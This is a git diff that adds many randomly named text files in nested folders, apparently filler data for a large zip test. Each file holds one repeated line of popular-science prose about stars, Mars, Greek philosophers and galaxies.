index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_twofvjxgjnzbjkjfviirda.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_unrpcvhamdvawlhis.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_unrpcvhamdvawlhis.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_unrpcvhamdvawlhis.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_uxaafdeurhret.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_uxaafdeurhret.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_uxaafdeurhret.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_wgjybsdclpwpof.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_wgjybsdclpwpof.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_wgjybsdclpwpof.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_wpgmskmqurzbn.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_wpgmskmqurzbn.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_wpgmskmqurzbn.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_wwolmeawjxscbciicqb.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_wwolmeawjxscbciicqb.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_wwolmeawjxscbciicqb.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_xfrzfirbynuskfrgjfkvrhgc.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_xfrzfirbynuskfrgjfkvrhgc.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_xfrzfirbynuskfrgjfkvrhgc.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_ypvhypugfxcxadi.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_ypvhypugfxcxadi.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_ypvhypugfxcxadi.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_yybxlnzicuuicmyhfqpzjpbd.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_yybxlnzicuuicmyhfqpzjpbd.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_yybxlnzicuuicmyhfqpzjpbd.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/file_zhmtjlpqqdeparoey.txt b/big_zip/big-zip-files/folder_knqqchrayk/file_zhmtjlpqqdeparoey.txt
new file mode 100644
index 0000000..ff54693
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/file_zhmtjlpqqdeparoey.txt
@@ -0,0 +1 @@
+have been cooked by a kind of stellar alchemy billions of years ago in stars, some of which
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_bitoxraqwxsnquhwciqio.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_bitoxraqwxsnquhwciqio.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_bitoxraqwxsnquhwciqio.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_ckrbypzmxxgvckecpif.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_ckrbypzmxxgvckecpif.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_ckrbypzmxxgvckecpif.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_fgsezxwo.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_fgsezxwo.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_fgsezxwo.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_fneqbadnwwsagfpmfnctob.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_fneqbadnwwsagfpmfnctob.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_fneqbadnwwsagfpmfnctob.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_iliqxvbalvzeonxfr.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_iliqxvbalvzeonxfr.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_iliqxvbalvzeonxfr.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_jdtzykydhypmlknx.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_jdtzykydhypmlknx.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_jdtzykydhypmlknx.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_ksugetxnhjbptzbccn.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_ksugetxnhjbptzbccn.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_ksugetxnhjbptzbccn.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_lieyqlvvjnwxrpcwmvmh.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_lieyqlvvjnwxrpcwmvmh.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_lieyqlvvjnwxrpcwmvmh.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_mbjuavfitskptgowpzzvfk.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_mbjuavfitskptgowpzzvfk.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_mbjuavfitskptgowpzzvfk.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_mhlewagtpvinirixvvrmai.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_mhlewagtpvinirixvvrmai.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_mhlewagtpvinirixvvrmai.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_mpukjmhlvijxuorp.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_mpukjmhlvijxuorp.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_mpukjmhlvijxuorp.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_ochkgmlqhhqisp.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_ochkgmlqhhqisp.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_ochkgmlqhhqisp.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_ogxpvmqjbxqbcafoqynzzls.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_ogxpvmqjbxqbcafoqynzzls.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_ogxpvmqjbxqbcafoqynzzls.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_ourxohkx.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_ourxohkx.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_ourxohkx.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_oxuqjxwtfjrdvykixgb.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_oxuqjxwtfjrdvykixgb.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_oxuqjxwtfjrdvykixgb.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_oyvjlylijerjpyndwpiagij.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_oyvjlylijerjpyndwpiagij.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_oyvjlylijerjpyndwpiagij.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_rnnhoqblnuzwoxvohtbpzn.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_rnnhoqblnuzwoxvohtbpzn.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_rnnhoqblnuzwoxvohtbpzn.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_sdqtsucnhhfjuuexupvxv.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_sdqtsucnhhfjuuexupvxv.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_sdqtsucnhhfjuuexupvxv.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_umrraofuihzmfdorrh.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_umrraofuihzmfdorrh.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_umrraofuihzmfdorrh.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_xuhnaosq.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_xuhnaosq.txt
new file mode 100644
index 0000000..4765ed0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/file_xuhnaosq.txt
@@ -0,0 +1 @@
+Martian soil to be mixed in with it, and observe the changing turbidity or cloudiness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_aqbygfcvbunilvxm.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_aqbygfcvbunilvxm.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_aqbygfcvbunilvxm.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_chljzkdzrgc.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_chljzkdzrgc.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_chljzkdzrgc.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_fyhnxgykhdgandwbws.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_fyhnxgykhdgandwbws.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_fyhnxgykhdgandwbws.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_jabohtxgympnm.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_jabohtxgympnm.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_jabohtxgympnm.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_keqzjbfhqhbkwvebfd.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_keqzjbfhqhbkwvebfd.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_keqzjbfhqhbkwvebfd.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_msrnvkpq.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_msrnvkpq.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_msrnvkpq.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_nspebzygucpbvunzki.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_nspebzygucpbvunzki.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_nspebzygucpbvunzki.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_nxnjfypfdnnphggs.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_nxnjfypfdnnphggs.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_nxnjfypfdnnphggs.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_oqfobxfmxzliymflizvdnd.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_oqfobxfmxzliymflizvdnd.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_oqfobxfmxzliymflizvdnd.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_pxfjeaejrnaesgugbisxwmh.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_pxfjeaejrnaesgugbisxwmh.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_pxfjeaejrnaesgugbisxwmh.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_qmxnpikhnglshd.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_qmxnpikhnglshd.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_qmxnpikhnglshd.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_tepqmzluo.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_tepqmzluo.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_tepqmzluo.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_ufcvtrpfogorvemjgsmvt.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_ufcvtrpfogorvemjgsmvt.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_ufcvtrpfogorvemjgsmvt.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_uinnkhgsxqxevqzphvlyqm.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_uinnkhgsxqxevqzphvlyqm.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_uinnkhgsxqxevqzphvlyqm.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_wlkyackhvv.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_wlkyackhvv.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_wlkyackhvv.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_xhgkkwguzohtleuhn.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_xhgkkwguzohtleuhn.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_xhgkkwguzohtleuhn.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_xixxkznfcshedyhzxiykxzx.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_xixxkznfcshedyhzxiykxzx.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_xixxkznfcshedyhzxiykxzx.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_xvbnivtecftayf.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_xvbnivtecftayf.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_xvbnivtecftayf.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_zpghllykgdpoyzqgybwnu.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_zpghllykgdpoyzqgybwnu.txt
new file mode 100644
index 0000000..16f10cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/file_zpghllykgdpoyzqgybwnu.txt
@@ -0,0 +1 @@
+(a natural enough ideal in a slave society); they separated matter from thought; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/aldmlzxlmpsidzhwdwxaexmp.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/aldmlzxlmpsidzhwdwxaexmp.txt
new file mode 100644
index 0000000..4bd4ffe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/aldmlzxlmpsidzhwdwxaexmp.txt
@@ -0,0 +1 @@
+Thales attempted to understand the world without invoking the intervention of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/bfhyfadyuvulhxmdmddrcre.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/bfhyfadyuvulhxmdmddrcre.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/bfhyfadyuvulhxmdmddrcre.txt
@@ -0,0 +1 @@
+unity is that we are, all of us - trees and people, angler fish and slime molds and paramecia
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/bqmfcrvrswguqnbokiuvfxbn.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/bqmfcrvrswguqnbokiuvfxbn.txt
new file mode 100644
index 0000000..3383e10
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/bqmfcrvrswguqnbokiuvfxbn.txt
@@ -0,0 +1 @@
+first to speculate that Venus is completely covered with clouds; the first to draw a surface
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/cemxvqstoerltfujrjncupzh.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/cemxvqstoerltfujrjncupzh.txt
new file mode 100644
index 0000000..e9ba4ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/cemxvqstoerltfujrjncupzh.txt
@@ -0,0 +1 @@
+eastern Aegean Sea.* Suddenly there were people who believed that everything was made
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/eoelzpbyqdxpran.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/eoelzpbyqdxpran.txt
new file mode 100644
index 0000000..40aa3d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/eoelzpbyqdxpran.txt
@@ -0,0 +1 @@
+other galaxies; a plethora of dwarf ellipticals, the galactic midges, each containing some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/eogijxncjrusmcoexvpbm.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/eogijxncjrusmcoexvpbm.txt
new file mode 100644
index 0000000..dd372d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/eogijxncjrusmcoexvpbm.txt
@@ -0,0 +1 @@
+Moon does to the Earth. Jupiter will be a source of continuing provocation and excitement
\ No newline at end of file
